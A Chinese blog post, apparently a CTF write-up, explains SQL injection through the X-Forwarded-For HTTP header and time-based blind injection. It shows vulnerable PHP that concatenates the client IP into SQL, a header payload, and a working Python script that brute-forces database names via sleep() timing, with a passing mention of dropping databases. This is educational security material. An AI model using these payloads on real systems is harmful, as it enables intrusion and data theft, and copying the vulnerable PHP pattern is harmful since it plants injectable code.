依托http-headers的 sql注入和时间盲注

机缘巧合接触了一点关于sql注入的网络安全问题

依托 headers 的 sql 注入

一般来说大家都很清楚用户输入的危险性,通常会对用户表单提交的数据进行过滤(引号转码)。
但是如果写过网络爬虫,那么就很清楚其实http的headers 也是由用户自己构造的,因此对一些从headers获取的变量就不能掉以轻心。比如<strongstyle="color:#890729;">userAgent, ip等。
这里有一个sql注入的题目:who are you? -- http://www.shiyanbar.com/ctf/1941

代码漏洞示例

if (!empty($_SERVER["HTTP_CLIENT_IP"])) {
    $cip = $_SERVER["HTTP_CLIENT_IP"];
} else if (!empty($_SERVER["HTTP_X_FORWARDED_FOR"])) {
    $cip = $_SERVER["HTTP_X_FORWARDED_FOR"];
} else if (!empty($_SERVER["REMOTE_ADDR"])) {
    $cip = $_SERVER["REMOTE_ADDR"];
} else {
    $cip = 'unknow';
}
// 未对ip 进行安全转码
echo 'Your IP address is : '.$cip;
// 直接拼接sql,未使用pdo参数绑定
$sql = "INSERT INTO IP (ip) VALUES ('$cip') ";
$DB->query($sql);

构造sql注入的headers

接触过爬虫/CURL都很熟悉了,构造headers参数就行,以python为例:

    headers = {
            "X-forwarded-for": "'+(select 1) and '1'='1"
    }
    req=requests.get(url,headers=headers)

如果顺利的话,应该会类似输出 Your IP address is : '+(select 1) and '1'='1

time-based 时间盲注

看到这里,你可能跟我一样有个疑问。怎么才能破解数据库的信息呢?虽然可以Drop database *;...
我们只能构造sql,并让服务器运行,却不能让页面输出sql的查询结果
这时候时间盲注就排上用场了 Sql注入系列详解(一)---基于时间差的盲注
它的原理很容易理解:

  • sql执行速度,在查询条件不存在时响应很快(跟查询语句有关)
  • sleep() 语句可以人为控制sql响应时间
  • 虽然不能控制页面的输出,但是可以通过sleep()来控制页面响应时间。根据页面响应时间来判断是否命中查询信息

所以核心思想是,通过sql语句控制页面的响应时间
破解过程非常暴力,看代码一目了然:

    def crack_records(url, sql, max_row, max_length):
        #guess = string.ascii_lowercase+string.ascii_uppercase+string.digits+string.punctuation
        # mysql 不区分大小写
        guess = string.ascii_lowercase+string.digits+string.punctuation
        res = []
        for n in range(0,max_row):        #假设爆破前 max_row 个记录
            result=''
            for i in range(1,max_length):                  #爆破字符串长度,假设不超过 max_length 长度
                flag=0
                for str in guess:                   #爆破该位置的字符
                    
                    headers = {"X-forwarded-for":"'+"+" (select case when (substring((%s limit 1 offset %d) FROM %d FOR 1)='%s') then sleep(8) else 1 end) and '1'='1" % (sql,n,i,str)}
                    try:
                        req=requests.get(url,headers=headers,timeout=6)
                    except:
                        result+=str
                        flag=1
                        print('正在扫描第%d个记录,the result now is '%(n+1) ,result)
                        break
                if flag==0:
                    break
            res.append(result)
            #
            if i==1 and flag==0:
                print('扫描完成')
                break
        return res
    
    # 除information_schema外的database 
    sql = "select schema_name from information_schema.SCHEMATA WHERE schema_name<>'information_schema' "
    res = crack_records(url, sql, 100, 500)
    print (res)

文章参考

实验吧CTF-Who are you?

总结

  1. 破解过程非常耗时,根据网页的响应时长调整timeout阈值
  2. 当网页因为其他原因超时相应时会产生误差,因此网络不好的情况下需要重复破解以精确结果。
  3. 这些人好特么聪明啊啊啊啊啊!!!
posted @ 2017-12-11 15:44  真理君的宿敌  阅读(893)  评论(0编辑  收藏  举报